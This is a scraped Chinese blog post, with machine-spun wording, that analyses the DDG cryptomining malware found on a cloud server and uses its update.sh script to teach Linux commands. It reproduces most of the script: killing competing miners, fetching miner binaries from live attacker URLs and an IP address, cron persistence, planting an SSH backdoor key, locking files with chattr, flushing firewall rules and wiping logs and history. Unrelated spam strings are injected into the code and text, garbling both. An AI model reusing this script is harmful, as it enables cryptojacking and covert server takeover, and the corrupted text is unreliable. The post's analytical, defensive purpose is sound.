电动三轮车,如龙0,前田敦子-额头blog,每日最新思考

admin 2个月前 ( 07-18 07:42 ) 0条评论
摘要: nloads(){ if [ -f "/usr/bin/curl" ] then echo $1,$2 http_code=`curl -I -m 10 -o /dev/null...

最近做易生信训练时新购了一块阿里云,用于演示剖析流程建立和装备。短期运用,上面没有数据,也没做什么防备,成果不曾想,被挖矿病毒盯上了,给了一个近距离触摸病毒的时机。

这是一款LinuxWindows通吃的病毒,起名为DDG挖矿病毒,意图是运用被侵入的核算机的资源帮忙自己挖矿,获取虚拟钱银。该病毒从上一年一向活泼在现在,现已挖取了价值一千多万人民币的虚拟币钱银。并且在一年左右的时刻,已开发出了DDG.3012/DDG3013/DDG3020多个变种版别。

下面就记叙下病毒的发现、整理和知道进程,一路下来能够给咱们的Linux指令学习供给许多常识点。这儿边大部分操作都在生信宝典的Linux系列教程有提及,也是咱们常用的进步功率的办法。

怎样发现服务器中病毒了呢?最直接的提示是阿里云的邮件:

您的云服务器(11.11.11.11)因为被检测到对外进犯,已阻断该服务器对其它服务器端口(TCP:6379)的拜访,阻断仁青多杰估计将在2019-06-30 11:26:49时刻内完毕,请及时进行安全自查。若有疑问,请工单或电话联络阿里云售后,感谢您对阿里云的支撑。

阿里云核算有限公司

这也显现了购买云服务器的优点,安全配套,及时发现问题。

看到这个提示后,登录服务器,top一下:

发现两个进程sysupdatenetworkservice,看姓名,还以为是Linux体系什么时分学会Windows的主动晋级了。再看用户,不对,普通用户,没有权限进行体系晋级和网络操控,那么怀疑是病毒

谷歌一下,确实是。

下一步便是去定位病毒。

首选运转locate sysupdate,发现找不到文件。所以想着可能在/tmp下 (locate默许未索引这个目录),运用find /tmp -name sysupdate发现了程序,sysupdate, 一起还有 sysguard, networkservice, update.sh。除了update.sh都是二进制文件,应该是挖矿的主程序和看护进程。(find是个好东西,详细运用见文后链接)

下面要点剖析下update.sh,依据病毒侵略后的操作,学习下Linux体系指令的运用。

损坏安全防护

病毒第一步是测验封闭SELinux子体系。SELinux是安全增强型 Linux(Security-Enhanced Linux),它是一个Linux内核模块,也是Linux的一个安全子体系。主要由美国国家安全局开发。2.6 及以上版别的 Linux 内核都现已集成了 SELinux 模块。SELinux 的结构及装备非常杂乱,并且有许多概念性的东西,要学精难度较大。许多Linux体系管理员嫌费事都把SELinux封闭了,病毒也不需求费这个事了。

#!/bin/sh
# 病毒第一步是测验封闭`SELinux`子体系。
setenforce 0 2>dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null

开释缓存,取得更多核算资源

# # echo 1 > /proc/sys/vm/drop_caches; free pagecache, use
# echo 2 > /proc/sys/vm/drop_caches; free dentries and inodes
# echo 3 > /proc/sys/vm/drop_caches; free pagecache, dentries and inodes

留意:运用之前需求先sync,将缓存刷到磁盘中。
sync && echo 3 >/proc/sys/vm/drop_caches

界说一些变量,打乱体系程序

这些变量后边再说是做什么,这儿重命名了一些程序如wget, curl等,开始以为温达普规矩是为了搅扰其它挖矿程序。

还好这次攻破的是普通用户,没有攻破root用户,所以这些修正都因为权限问题未能收效,否则体系用起来会很怪。

这儿主张咱们:暗码必定设置的杂乱一些!!!。

crondir='/var/spool/cron/'"$USER"
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`
echo 1 > /etc/sysupdates
rtdir="/etc/sysupdates"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/cur"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/wge"
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/xget /usr/bin/get
mv /usr/bin/get /usr/电动三轮车,如龙0,前田敦子-脑门blog,每日最新考虑bin/wge
mv /usr/bin/curl /usr/bin/url
mv /usr/bin/xurl /usr/bin/url
mv /usr/bin/url /usr/bin/cur

# 挖矿程序的原始途径
miner_url="https://de.gsearch.com.de/api/sysupdate"
miner_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysupdate"
miner_size="854364"
sh_url="https://de.gsearch.com.de/api/update.sh"
sh_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/update.sh"
config_url="https://de.gsea相似91rch.com.de/api/config.json"
config_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/config.json"
config_size="4954"
scan_url="https://de.gsearch.co体系之反转人生m.de/api/networkservice"
scan_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/networkservice"
scan_size="258407yjsxt2"
watchdog_url="https://de.gsearch.com.de/api/sysguard"
watchdog_url_backup="http://185.181.10.234/E5DB0E07C3D7BE80V520/sysguard"
watchdog_size="1929480"

同行是冤家,杀掉其它挖矿程序

不仅仅相声范畴,挖矿范畴同行也是冤家,先把其它挖矿程序杀掉,不要抢自己的资源。

生信这个小范畴也是,某论坛先约请咱们都发帖支撑论坛,后又无缘由的悄悄封杀账号,把咱们辛苦发的帖子都清空。其实协作起来供给更好的常识才有含义。

kill_miner_proc()
{
# ps获取运转的进程,grep屏蔽掉自己,然后grep其它挖矿程序,awk获取进程编号,kill -9 强制杀掉
# 假如咱们看到自己电脑有这些程序,也都铲除下,都是病毒
# 源代码有近百个病毒进程的铲除,这儿只列一部分
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "pool.t00ls.ru"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9
ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9
ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
ps ax|grep -o './[0-9]* -c'| xargs pkill -f
pkill -f biosetjenkins
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
电动三轮车,如龙0,前田敦子-脑门blog,每日最新考虑pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
pkill -f XJnRj
pkill -f mgwsl
pkill -f pythno

crontab -r
rm -rf /var/spool/cron/*
}

下载自己的挖矿程序和看护程序

这儿是先界说一个函数,后边调用。里边主要是wget, curl程序的判别和运转下载。

downloads()
{
if [ -f "/usr/bin/curl" ]
then
echo $1,$2
h敏迪程控交换机ttp_code=`curl -I -m 10 -o /dev/null -s -w %{http_code} $1`
# 网页回来代码是否为200,200表明成功
if [ "$http_code" -eq "200" ]
then
curl --connect-timeout 10 --retry 100 $1 > $2
elif [ "$http_code" -eq "405" ]
then
curl --connect-timeout 10 --retry 100 $1 > $2
else
curl --connect-timeout 10 --retry 100 $3 > $2
fi
elif [ -f "/usr/bin/cur" ]
then
http_code = `cur -I -m 10 -o /dev/null -s -w %{http_code} $1`
if [ "$http_code" -eq "200" ]
then
cur --confakeagentnect-timeout 10 -电动三轮车,如龙0,前田敦子-脑门blog,每日最新考虑-retry 100 $1 > $2
elif [ "$http_code" -eq "405" ]
then
cur --connect-timeout 10 --retry 100 $1 > $2
else
cur --connect-timeout 10 --retry 100 $3 > $2
fi
elif [ -f "/usr/bin/wget" ]
then
wget --timeout=10 --tries=100 -O $2 $1
if [ $? -ne 0 ]
then
wget --timeout=10 --tries=100 -O $2 $3
fi
elif [ -f "/usr/bin/wge" ]
then
wge --timeout=10 --tries=100 -O $2 $1
if [ $? -eq 0 ]
then
wge --timeout=10 --tries=100 -O $2 $3
fi
fi
}

杀掉其它占资源的程序

kill_sus_proc()
{
ps axf -o "pid"|while read procid
电动三轮车,如龙0,前田敦子-脑门blog,每日最新考虑do
ls -l /proc/$procid/exe | grep /tmp
if [ $? -ne 1 ]
then
cat /proc/$procid/cmdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"
if [ $? -ne 0 ]
then
kill -9 $procid
化氏一窝疯经典配方 else
echo "don't kill"
fi
f范文芳老公i
done
ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid
do
cat /proc/$procid/c辰川时生mdline| grep -a -E "sysguard|update.sh|sysupdate|networkservice"
# 假如是自己的程序sysguard|update.sh|sysupdate|networkservice, $? == 0
if [ $? -ne 0 ]
then
kill -9 $procid
else
echo "don't kill"
fi
done
}

调用函数

kill_miner_proc
kill_sus_proc

守时履行,免密登录

下面这段代码比较长,先判别自己是不是根用户,假如是后续的下载都存储在/etc目录下,假如不是,都放在/tmp目录下。

然后设置守时使命,主要是 echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir},运用crontab,每30分钟运转一次update.sh。所以仅仅简略的停掉程序,没有用。删去不完全也没用,有必要把这个守时使命清空。

下一步装备/root/.ssh/authorized_keys,免暗码登录服务器,完成对服务器的长时刻强占。(这是咱们常用的登录服务器的办法,详细能够见文后教程)

然后下载挖矿的装备文件config.json, 挖矿程序sysupdate, networkservice,依据文件巨细判别是不是自己的程序,然后发动程序。

if [ -f "$rtdir" ]
then
echo "i am root"
echo "goto 1" >> /etc/sysupdate
chattr -i /etc/sysupdate*
chattr -i /etc/config.json*
chattr -i /etc/update.sh*
chattr -i /root/.ssh/authorized_keys*
chattr -i /etc/networkservice
if [ ! -f "/usr/bin/crontab" ]
then
echo "*/30 * * * * sh /etc/update.sh >/dev/null 2万界美食铺>&1" >> ${crondir}
else
[[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /etc/update.sh >/dev/nul电动三轮车,如龙0,前田敦子-脑门blog,每日最新考虑l 2>&1") | crontab -
fi
chmod 700 /root/.ssh/
echo >> /root/.ssh/authorized_keys
chmod 600 root/.ssh/authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ电动三轮车,如龙0,前田敦子-脑门blog,每日最新考虑6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0钱生天地zb/ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@u17" >> /root/.ssh/authorized_keys


cfg="/etc/config.json"
file="/etc/sysupdate"

if [-f "/etc/config.json" ]
then
filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'`
if [ "$filesize_config" -ne "$config_size" ]
then
pkill -f sysupdate
rm /etc/config.json
downloads $config_url /etc/config.json $config_url_backup
else
echo "no need download"
fi
else
downloads $config_url /etc/config.json $config_url_backup
fi

if [ -f 大灭世体系"/etc/sysupdate" ]
then
filesize1=`ls -l /etc/sysupdate | awk '{ print $5 }'`
if [ "$filesize1" -ne "$miner_size" ]
then
pkill -f sysupdate
rm /etc/sysupdate
两小无猜的可持续发展陈述 downloads $miner_url /etc/sysupdate $miner_url_backup
else
echo "not need download"
fi
else
downloads $miner_url /etc/sysupdate $miner_url_backup
fi

if [ -f "/etc/sysguard" ]
then
filesize1=`ls -l /etc/sysguard | awk '{ print $5 }'`
if [ "$filesize1" -ne "$watchdog_size" ]
then
pkill -f sysguard
rm /etc/sysguard
downloads $watchdog_url /etc/sysguard $watchdog_url_backup
else
echo "not need download"
fi
else
downloads $watchdog_url /etc/sysguard $watchdog_url_backup
fi

downloads $sh_url /etc/update.sh $sh_url_backup

if [ -f "/etc/networkservice" ]
then
filesize2=`ls -l /etc/networkservice | awk '{ print $5 }'`
if [ "$filesize2" -ne "$scan_size" ]
then
pkill -f networkservice
rm /etc/networkservice
downloads $scan_url /etc/networkservice $scan_url_backup
else
echo "not need 俞渭波download"
fi
else
downloads $scan_url /etc/networkservice $scan_url_backup
fi

chmod 777 /etc/sysupdate
ps -fe|grep sysupdate |grep -v grep
if [ $? -ne 0 ]
then
cd /etc
echo "not root runing"
sleep 5s
./sysupdate &
else
echo "root runing....."
fi
chmod 777 /etc/networkservice
ps -fe|grep networkservice |grep -v grep
if [ $? -ne 0 ]
then
cd /etc
echo "not roots runing"
sleep 5s
./networkservice &
else
echo "roots runing....."
fi
chmod 777 /etc/sysguard
ps -fe|grep sysguard |grep -v grep
if [ $? -ne 0 ]
then
echo "not tmps runing"
cd /etc
chmod 777 sysguard
sleep 5s
./sysguard &
else
echo "roots runing....."
fi

# chmod针对用户或组修正特点
# chattr 修正的特点适用于所有人,+i 表明文件不能被修正
# 所以尽管看上去是777,但要想删去,却不是很直接的事,得先chattr -i file 之后再删去
chmod 777 /etc/sysupdate
chattr +i /etc/sysupdate
chmod 777 /etc/networkservice
chattr +i /etc/networkservice
chmod 777 /etc/config.json
chattr +i /etc/config.json
chmod 777 /etc/update.sh
chattr +i /e电动三轮车,如龙0,前田敦子-脑门blog,每日最新考虑tc/update.sh
chmod 777 /root/.ssh/authorized_keys
chattr +i /root/.ssh/authorized_keys
else
省掉...
fi

修正防火墙装备

iptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
iptables -I INPUT -s 43.245.222.57 -j DROP
service iptables reload
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9

整理操作痕迹

整理的整理,清空的清空

history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history

整个操作下来仍是很溜的,并且很谨慎,确保了资源的独占性和操作记载不被发现。

挖矿程序的反编译见:http://m.simpreme.com/eevpuh.html。

病毒都这么尽力的做好自己的作业的时分,咱们有什么理由欠好好学好Linux,尤其是做生物信息的朋友,这是根本功。

易生信Linux课程,为生信学习打造,最少的时刻学到最有用的常识。有感于病毒的敬业,现在注册限时优惠,前史最低,扫码或点击阅览原文 99元可得。

如尾巴肛塞果按着下面的教程一步步学,也能够取得差不多的作用。

Linux 全介绍

易生信系列训练课程,扫码获取免费材料

更多阅览

画图三字经 生信视频 生信系列教程 

心得体会 TCGA数据库 Linux Python 

高通量剖析 免费在线画图 测序前史 超级增强子

生信学习视频 PPT EXCEL 文章写作 ggplot2

海哥组学 可视化套路 基因组浏览器

颜色调配 图形排版 互作网络

自学生信 2019成龙激动拥吻影迷影响因子 GSEA 单细胞 

后台回复“生信宝典福利第一波”或点击阅览原文获取教程合集

文章版权及转载声明:

作者:admin本文地址:http://www.etoudiblog.com/articles/2507.html发布于 2个月前 ( 07-18 07:42 )
文章转载或复制请以超链接形式并注明出处额头blog,每日最新思考